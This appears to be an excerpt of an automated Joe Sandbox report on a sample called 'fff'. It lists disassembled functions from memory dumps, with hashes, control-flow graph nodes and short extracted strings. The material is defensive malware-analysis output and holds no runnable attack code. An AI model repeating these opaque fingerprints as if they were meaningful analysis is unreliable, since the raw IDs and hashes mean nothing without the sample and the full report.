                                                                                                                        • Opcode ID: afa26bcb8abf3fb0681bbd8a120e83947a15d40c4ce0c73515d469aab9ca94a1
                                                                                                                        • Instruction ID: ef0f2f0aa682fa9f7e72b15bc3b133c504dc37ec9d32f62f36b4ac04c279272d
                                                                                                                        • Opcode Fuzzy Hash: afa26bcb8abf3fb0681bbd8a120e83947a15d40c4ce0c73515d469aab9ca94a1
                                                                                                                        • Instruction Fuzzy Hash: 7D422C70B003148FE75CABB9D45876E77EAFB8C201F544069A50BDB394CF79AC429B61
                                                                                                                        Function 075B98D0 Relevance: 9.4, Strings: 7, Instructions: 666COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 236 75b98d0-75b9905 238 75b990a-75b990d 236->238 239 75b990f 238->239 240 75b9916-75b993c 238->240 239->240 241 75b99b8 call 75ba420 239->241 242 75b99dc-75b9cf8 call 75ba640 call 75ba9c0 239->242 240->238 249 75b993e 240->249 244 75b99be-75b99cf 241->244 305 75b9cfa-75b9d1f 242->305 306 75b9d21-75b9d3f 242->306 244->238 247 75b99d5-75b99d7 244->247 247->238 249->238 309 75b9d46-75b9d7c 305->309 306->309 436 75b9d7c call 75bad08 309->436 437 75b9d7c call 75badc2 309->437 438 75b9d7c call 75bab21 309->438 439 75b9d7c call 75bacb5 309->439 315 75b9d82-75ba11a call 75bb078 call 75bf488 call 75bf61a 380 75ba1b1-75ba1bb 315->380 381 75ba120-75ba1af 315->381 382 75ba1c1-75ba1ed 380->382 381->382 388 75ba28b-75ba292 382->388 389 75ba1f3-75ba289 382->389 390 75ba298-75ba34c call 75bf812 388->390 389->390 417 75ba359-75ba364 390->417 418 75ba34e-75ba357 390->418 419 75ba36a-75ba37d 417->419 418->419 420 75ba3af-75ba3fc 419->420 421 75ba37f-75ba3ad 419->421 430 75ba404 420->430 421->420 431 75ba406 430->431 431->431 436->315 437->315 438->315 439->315
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: +$+$,$,$0$0$0
                                                                                                                        • API String ID: 0-1393378508
                                                                                                                        • Opcode ID: b2d30f7054d7cf38e051fddc308e62b78791bc76604eeba72988ba57f6c73e99
                                                                                                                        • Instruction ID: 25b515d4e62fac3138b1a2b0de909fc69802593f7fe17092cae20f4c1a560a8e
                                                                                                                        • Opcode Fuzzy Hash: b2d30f7054d7cf38e051fddc308e62b78791bc76604eeba72988ba57f6c73e99
                                                                                                                        • Instruction Fuzzy Hash: 4C422C70B003148FE75CABB9D46876E77EAFB8C201F544069A50BD7395CF78AC429B61
                                                                                                                        Function 04F3ADB0 Relevance: 1.6, Strings: 1, Instructions: 340COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 653 4f3adb0-4f3b243 658 4f3b245-4f3b247 653->658 659 4f3b249-4f3b25d 653->659 660 4f3b283-4f3b288 call 4f3a938 658->660 663 4f3b266-4f3b281 659->663 664 4f3b25f 659->664 665 4f3b28d-4f3b2a1 660->665 663->660 664->663 666 4f3b2a7 665->666 667 4f3adce-4f3add1 665->667 666->667 669 4f3add7 667->669 670 4f3b179-4f3b1ad 667->670 669->670 671 4f3aff1-4f3aff5 669->671 672 4f3b016-4f3b034 669->672 673 4f3b039-4f3b06d 669->673 674 4f3adde 669->674 676 4f3affb-4f3b009 671->676 677 4f3b1ae-4f3b1b7 671->677 672->667 679 4f3adf0-4f3adff 674->679 676->667 681 4f3b00f-4f3b011 676->681 683 4f3b1b9-4f3b1bc 677->683 684 4f3b1be-4f3b1cb 677->684 690 4f3aef3-4f3aef9 679->690 691 4f3ae05-4f3ae0a 679->691 681->667 687 4f3b1cd-4f3b1d9 683->687 684->687 696 4f3b1df-4f3b1e4 687->696 697 4f3b06e-4f3b08a 687->697 693 4f3ade0-4f3ade3 690->693 691->693 698 4f3ae81-4f3aea1 693->698 699 4f3ade9 693->699 696->667 722 4f3b091-4f3b09e 697->722 723 4f3b08c-4f3b08f 697->723 720 4f3afe0 698->720 721 4f3aea7-4f3aeb8 698->721 699->679 699->690 699->698 700 4f3afc3-4f3afc6 699->700 701 4f3afcb-4f3afde 699->701 702 4f3aefb-4f3af39 call 4f32778 call 4f35380 699->702 703 4f3aeca-4f3aece 699->703 704 4f3ae5e-4f3ae67 699->704 705 4f3ae0c-4f3ae1c 699->705 707 4f3afe5 701->707 739 4f3af3b-4f3af44 702->739 740 4f3af5c 702->740 703->700 710 4f3aed4-4f3aee5 703->710 704->679 706 4f3ae69-4f3ae74 704->706 716 4f3ae25-4f3ae58 call 4f3a938 705->716 717 4f3ae1e 705->717 706->693 712 4f3ae7a-4f3ae7c 706->712 707->671 710->693 714 4f3aeeb-4f3aeee 710->714 712->693 714->693 716->693 736 4f3ae5a-4f3ae5c 716->736 717->716 720->707 721->693 725 4f3b0a0-4f3b0d8 call 4f32778 call 4f35380 722->725 723->725 752 4f3b0da-4f3b0dd 725->752 753 4f3b0df-4f3b0ec 725->753 736->693 741 4f3af46-4f3af49 739->741 742 4f3af4b-4f3af58 739->742 743 4f3af5f-4f3afbe call 4f32778 call 4f35380 740->743 746 4f3af5a 741->746 742->746 743->693 746->743 754 4f3b0ee-4f3b174 call 4f32778 call 4f35380 call 4f32778 call 4f35380 752->754 753->754 754->667
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: {\>n^
                                                                                                                        • API String ID: 0-423249090
                                                                                                                        • Opcode ID: 1c415ae88e86965342cdce83b24e87080b127a14d88a469a8f5b05d345fdfeae
                                                                                                                        • Instruction ID: ff52f89ce2ac87198fa838ce20038b4098e86697a6d75451cce8c3a6b53e69b2
                                                                                                                        • Opcode Fuzzy Hash: 1c415ae88e86965342cdce83b24e87080b127a14d88a469a8f5b05d345fdfeae
                                                                                                                        • Instruction Fuzzy Hash: 19D15D30F002088FEB18DBA9D854AAEB7F3EF84316F158565D446AB349DB74BC439B91
                                                                                                                        Function 075BAB21 Relevance: .3, Instructions: 331COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4e880ef0af73cf227513780979d70f96bbcaac65f7ded8811a03fb1702f1a32a
                                                                                                                        • Instruction ID: 233fe3860dd9452dff355562c473483e2d059da975e0eb8a7f166647b67d161f
                                                                                                                        • Opcode Fuzzy Hash: 4e880ef0af73cf227513780979d70f96bbcaac65f7ded8811a03fb1702f1a32a
                                                                                                                        • Instruction Fuzzy Hash: DAC19DB0B00205CFDB68DB64C454BFEB7F3BB89305F6485A9D006AB295DB75AC86CB50
                                                                                                                        Function 078B1B60 Relevance: .3, Instructions: 285COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ef43b3f7f368e86166fe0a3bdba0320fb7de5ab74036437e1f739f5bebf2c7d9
                                                                                                                        • Instruction ID: fd6b584763ea0abc595ad38097382e4c435b3feb8d2b4ec42c5ad769bbd5687c
                                                                                                                        • Opcode Fuzzy Hash: ef43b3f7f368e86166fe0a3bdba0320fb7de5ab74036437e1f739f5bebf2c7d9
                                                                                                                        • Instruction Fuzzy Hash: 06B16DB0E10209DFD725CB68D898BA9B7F6BB88310F1586A5D505EF399DB30EC81CB54
                                                                                                                        Function 075B3AB8 Relevance: .3, Instructions: 281COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bcecb91a5625a1bb9861bd9ac1781184ed1e5bf7aef4841d5649ae2b3794c010
                                                                                                                        • Instruction ID: 7297c38d55e758839494cb7d560db1f50531971be2dfb68bd14b550125832cad
                                                                                                                        • Opcode Fuzzy Hash: bcecb91a5625a1bb9861bd9ac1781184ed1e5bf7aef4841d5649ae2b3794c010
                                                                                                                        • Instruction Fuzzy Hash: 26B12BB0E002099FDB24CFA9D8857EDBBF2FF88754F14812AD815B7294EB749845CB81
                                                                                                                        Function 075B72E0 Relevance: .3, Instructions: 276COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ebbf172f05c9f6512917b1173860c7c0784cc6b422676b7c7587ae3d93122046
                                                                                                                        • Instruction ID: 8b5d3b0bc1392f1f56bb9f0509a003e443e1d49d8cb824529451ff107eb5b4d3
                                                                                                                        • Opcode Fuzzy Hash: ebbf172f05c9f6512917b1173860c7c0784cc6b422676b7c7587ae3d93122046
                                                                                                                        • Instruction Fuzzy Hash: 06D13634D1075A8ADB14EBA8D990AD9B7B2FFE5300F11879AD5093B214EF706AC5CF81
                                                                                                                        Function 075B4388 Relevance: .3, Instructions: 266COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a67033af8874b02f6f1684f4059239195ff4ce1694dfa8b7377d891c7d8df3aa
                                                                                                                        • Instruction ID: fc3c179e85458e39533aa7fef7aa2a155a86bd1f96d7d38ea103cf90ecff2c95
                                                                                                                        • Opcode Fuzzy Hash: a67033af8874b02f6f1684f4059239195ff4ce1694dfa8b7377d891c7d8df3aa
                                                                                                                        • Instruction Fuzzy Hash: 0DB150B0E002998FDB34CFA8C8817EDBBF2BF88314F148529D815E7295EB749855CB81
                                                                                                                        Function 075B72F0 Relevance: .3, Instructions: 264COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 919e505801fb5ed6009171a66e414306abb393a73e4a6af1d8b6a0eb3b959eff
                                                                                                                        • Instruction ID: ec78f2cdbf2c12671b11cc3e2757c979f7f81642b63705422ba74eb9d30700c0
                                                                                                                        • Opcode Fuzzy Hash: 919e505801fb5ed6009171a66e414306abb393a73e4a6af1d8b6a0eb3b959eff
                                                                                                                        • Instruction Fuzzy Hash: B4D11534D1075A8ADB14EBA8D990A99F7B2FFE5300F11879AD5093B214EF706AC5CF81
                                                                                                                        Function 075BACB5 Relevance: .3, Instructions: 264COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 8d23cd27dc08c8c2a8f7d7159c5034c3aeea8cd383e53f1dafd59d323ea8893d
                                                                                                                        • Instruction ID: 375b016ff348ef3b141d9111ee2622c2b0eaa9bb234612cdf41bbb1fb9516558
                                                                                                                        • Opcode Fuzzy Hash: 8d23cd27dc08c8c2a8f7d7159c5034c3aeea8cd383e53f1dafd59d323ea8893d
                                                                                                                        • Instruction Fuzzy Hash: 7BA191B0B00205CFDB68DB64C0547FD77F3BB89305FA885AAD406AB295DB75AC86CB50
                                                                                                                        Function 072510D8 Relevance: .3, Instructions: 262COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1636360239.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_7250000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 00295007e8687bf6c219edc9ee197e5036d49104fcd73a460f9a53f1b7744833
                                                                                                                        • Instruction ID: e333067cf3135a9ac64d00623c07aad0a2c6bc39f2832e257bf7e4655912bd09
                                                                                                                        • Opcode Fuzzy Hash: 00295007e8687bf6c219edc9ee197e5036d49104fcd73a460f9a53f1b7744833
                                                                                                                        • Instruction Fuzzy Hash: 6491E570B102159FE708EB78D854B7E77E7ABC8205F5481A9D80ADB3D4CF74AC029BA1
                                                                                                                        Function 04F3992E Relevance: .2, Instructions: 210COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: cb465eaa30890431f0a79b7afa36d38872036534dd3c118dcd5f28f4a9c6b601
                                                                                                                        • Instruction ID: 446c84dc686c58cabf3ec28417a87868916f5ac29ef257dd01488f9a54efc126
                                                                                                                        • Opcode Fuzzy Hash: cb465eaa30890431f0a79b7afa36d38872036534dd3c118dcd5f28f4a9c6b601
                                                                                                                        • Instruction Fuzzy Hash: C181B371F002008FEB19DB68D495BADB7E3EB88316F1880A5D446AB394DBF4BC42CB51
                                                                                                                        Function 078B5F5D Relevance: .2, Instructions: 208COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 122cc6d23d03a5007380eb91af906e63a12cdcc94af258da6523be085660ef50
                                                                                                                        • Instruction ID: 4537c1a28408b8b402273ea00df2e78ef5d86f87553f86d0fcfa08ec1ee4d115
                                                                                                                        • Opcode Fuzzy Hash: 122cc6d23d03a5007380eb91af906e63a12cdcc94af258da6523be085660ef50
                                                                                                                        • Instruction Fuzzy Hash: 6A814BB0A10209CBEB24CFA5D880BEDB7B2FF95304F588165D506EB385EB74A946CB50
                                                                                                                        Function 072504DE Relevance: .2, Instructions: 194COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1636360239.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_7250000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bf493f8dbe0057189fe2d8cbd143e4a4dfd1fb24fad42d208f45710c5314bf68
                                                                                                                        • Instruction ID: f383827b73857be87a3fc1752b0729790767b4847f1bed9e821505f048ed3d93
                                                                                                                        • Opcode Fuzzy Hash: bf493f8dbe0057189fe2d8cbd143e4a4dfd1fb24fad42d208f45710c5314bf68
                                                                                                                        • Instruction Fuzzy Hash: D9811BB4A20215CFD718CFA9C894BADB7B2FF89300F1585A5E805AB265D7B4EC85CF50
                                                                                                                        Function 075BA640 Relevance: .2, Instructions: 184COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2fdf119404df817ace7b16eda4dd130c44552e57e1e593b7ab0b2be6840999e5
                                                                                                                        • Instruction ID: a094fec71547b6caab9334fb8057efd3996b75b482e8aa28d7fc7d839fa0c480
                                                                                                                        • Opcode Fuzzy Hash: 2fdf119404df817ace7b16eda4dd130c44552e57e1e593b7ab0b2be6840999e5
                                                                                                                        • Instruction Fuzzy Hash: CC618BB0E04244CFE715DB68C484AE9BBF2FB49300F59C5A6D406EB2A5DB34EC46CB91
                                                                                                                        Function 072505A8 Relevance: .2, Instructions: 168COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1636360239.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_7250000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 09d3099b1e2d4732e30a31ba955d90d80c0d4ddbc4a4aeb3f646a4f99bc68b60
                                                                                                                        • Instruction ID: 07f38755e8d236ca6893a939ee8e842579f374b368c21712568653ca09ff2b52
                                                                                                                        • Opcode Fuzzy Hash: 09d3099b1e2d4732e30a31ba955d90d80c0d4ddbc4a4aeb3f646a4f99bc68b60
                                                                                                                        • Instruction Fuzzy Hash: C9610BB4A20215CFD728CFA9C894BADB7B2FF89304F1585A5E805AB255D7B4EC85CB10
                                                                                                                        Function 04F31DD7 Relevance: .1, Instructions: 149COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f015fd25f1c0499179a0b1cdcb80286558af62eec62fb7fcb45a98c94f53d71b
                                                                                                                        • Instruction ID: d0be82d7dd62b3254d1a1a8011b7ac9ada35e2e87bc17e43c59d98529e934c01
                                                                                                                        • Opcode Fuzzy Hash: f015fd25f1c0499179a0b1cdcb80286558af62eec62fb7fcb45a98c94f53d71b
                                                                                                                        • Instruction Fuzzy Hash: 5961AA70A04309CFEB48DB65E5587AD7BB2FB44306F0481A9D142AB2C5EB796986CF11
                                                                                                                        Function 078BDC58 Relevance: .1, Instructions: 138COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b169286ddd3327e720a3a1d8c04fefa3630963744401bbe43916f025bf26c91f
                                                                                                                        • Instruction ID: 73baa0d1b76e7719d8aa1daf20e0236a5adc6a54f25f2e2db6071f38959f475b
                                                                                                                        • Opcode Fuzzy Hash: b169286ddd3327e720a3a1d8c04fefa3630963744401bbe43916f025bf26c91f
                                                                                                                        • Instruction Fuzzy Hash: 4351A074B00205EFE72CDB68D458BEEB3E3AB98314F598069D406DB394CEB95841CBA1
                                                                                                                        Function 04F31E00 Relevance: .1, Instructions: 136COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1627072288.0000000004F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_4f30000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ed14181a957158fb9b4e4c5598777db1cbdd1908602335c8892f80f813276774
                                                                                                                        • Instruction ID: 42c4ee8a12d06fc8898a348626b5832809f3f250124dba9bc6ff61e33be622f5
                                                                                                                        • Opcode Fuzzy Hash: ed14181a957158fb9b4e4c5598777db1cbdd1908602335c8892f80f813276774
                                                                                                                        • Instruction Fuzzy Hash: B6519C70A00219CFEB48DF65E2187AD7BF2FB44306F0491A9D146EB2C5EB796986CF10
                                                                                                                        Function 075B7F48 Relevance: 2.8, Strings: 2, Instructions: 274COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 443 75b7f48-75b7f70 445 75b826e-75b8278 443->445 446 75b7f76-75b7fa0 443->446 449 75b7fac-75b7faf 446->449 450 75b7fa2-75b7fa4 446->450 452 75b8279 449->452 453 75b7fb5-75b7fc3 449->453 451 75b7faa 450->451 450->452 451->453 455 75b827e-75b82af 452->455 456 75b7fcb-75b7ff4 453->456 456->455 461 75b7ffa-75b8158 456->461 476 75b825f-75b8268 461->476 477 75b815e-75b8167 461->477 476->445 476->446 478 75b816b-75b81ce 477->478 483 75b81da-75b81dd 478->483 484 75b81d0-75b81d2 478->484 483->452 486 75b81e3-75b81f5 483->486 484->452 485 75b81d8 484->485 485->486 486->455 487 75b81fb-75b8225 486->487 489 75b822d-75b8230 487->489 490 75b8227-75b8229 487->490 489->452 492 75b8232-75b8244 489->492 490->452 491 75b822b 490->491 491->492 492->455 493 75b8246-75b8259 492->493 493->476 493->478
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: nKr$nKr
                                                                                                                        • API String ID: 0-697547190
                                                                                                                        • Opcode ID: 2bfeb31c99e068c79d6c1ed16b51ff318def5f78b61fec68c7c85703adf0879b
                                                                                                                        • Instruction ID: 7172a4c074734254717fb8e00ed1aead61b174e9ff3741ea348d9ebb0a1d4ba6
                                                                                                                        • Opcode Fuzzy Hash: 2bfeb31c99e068c79d6c1ed16b51ff318def5f78b61fec68c7c85703adf0879b
                                                                                                                        • Instruction Fuzzy Hash: 9EC15C75E006068FCB14DFA8D4809AEFBB6BF88320B258645D9556B365DB31FC828BD0
                                                                                                                        Function 075B7F38 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 495 75b7f38-75b7f40 496 75b7f42-75b7f70 495->496 497 75b7f36 495->497 499 75b826e-75b8278 496->499 500 75b7f76-75b7fa0 496->500 497->495 503 75b7fac-75b7faf 500->503 504 75b7fa2-75b7fa4 500->504 506 75b8279 503->506 507 75b7fb5-75b7fb7 503->507 505 75b7faa 504->505 504->506 505->507 509 75b827e-75b82af 506->509 508 75b7fc1-75b7fc3 507->508 510 75b7fcb-75b7ff4 508->510 510->509 515 75b7ffa-75b8158 510->515 530 75b825f-75b8268 515->530 531 75b815e-75b8167 515->531 530->499 530->500 532 75b816b-75b81ce 531->532 537 75b81da-75b81dd 532->537 538 75b81d0-75b81d2 532->538 537->506 540 75b81e3-75b81f5 537->540 538->506 539 75b81d8 538->539 539->540 540->509 541 75b81fb-75b8225 540->541 543 75b822d-75b8230 541->543 544 75b8227-75b8229 541->544 543->506 546 75b8232-75b8244 543->546 544->506 545 75b822b 544->545 545->546 546->509 547 75b8246-75b8259 546->547 547->530 547->532
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639591978.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_75b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: nKr$nKr
                                                                                                                        • API String ID: 0-697547190
                                                                                                                        • Opcode ID: 773a1578160dd221fd23d1c7e4741d13564dc6ed133c5207ad418a606977733e
                                                                                                                        • Instruction ID: 21313a0f6eddd9ae992dc7226a78082e0b9877a109217a73110bf7aa35e15dc9
                                                                                                                        • Opcode Fuzzy Hash: 773a1578160dd221fd23d1c7e4741d13564dc6ed133c5207ad418a606977733e
                                                                                                                        • Instruction Fuzzy Hash: D1B10879E006068BCB18DF98D4909AEFBB6BF88310B159645ED456B359DB30FC868BD0
                                                                                                                        Function 078B7B7D Relevance: 2.6, Strings: 2, Instructions: 113COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 608 78b7b7d-78b7bea 618 78b7bef-78b7c2c 608->618 619 78b7b17-78b7b1a 608->619 621 78b7c8d-78b7c97 618->621 633 78b7c2e-78b7ca3 618->633 620 78b7b1b-78b7b20 619->620 619->621 620->618 620->621 623 78b7c7e-78b7c88 620->623 624 78b7c30-78b7c4c 620->624 625 78b7b27-78b7b6e call 78b62b0 620->625 642 78b7c4f call 78b7dc9 624->642 643 78b7c4f call 78b7dd8 624->643 641 78b7b73-78b7b7b 625->641 635 78b7c55-78b7c71 635->619 640 78b7c77-78b7c79 635->640 640->619 641->619 642->635 643->635
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1639963454.00000000078B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078B0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_78b0000_fff.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: KDBM$nKr
                                                                                                                        • API String ID: 0-2348152845
                                                                                                                        • Opcode ID: f5181c6553a292e9f0510854c5ff79f720af61ed772fb86e6e9fe8b15f8f27dc
                                                                                                                        • Instruction ID: 3422f29500d34e9487e505534f15fcf667646ccabfa572ae79c308023461e83f
                                                                                                                        • Opcode Fuzzy Hash: f5181c6553a292e9f0510854c5ff79f720af61ed772fb86e6e9fe8b15f8f27dc
                                                                                                                        • Instruction Fuzzy Hash: DB41A474B002059FEB18DBB4D850BBEB7E7EBD8355F0440699606DB7D4DE346C029BA1
                                                                                                                        Function 00D31350 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
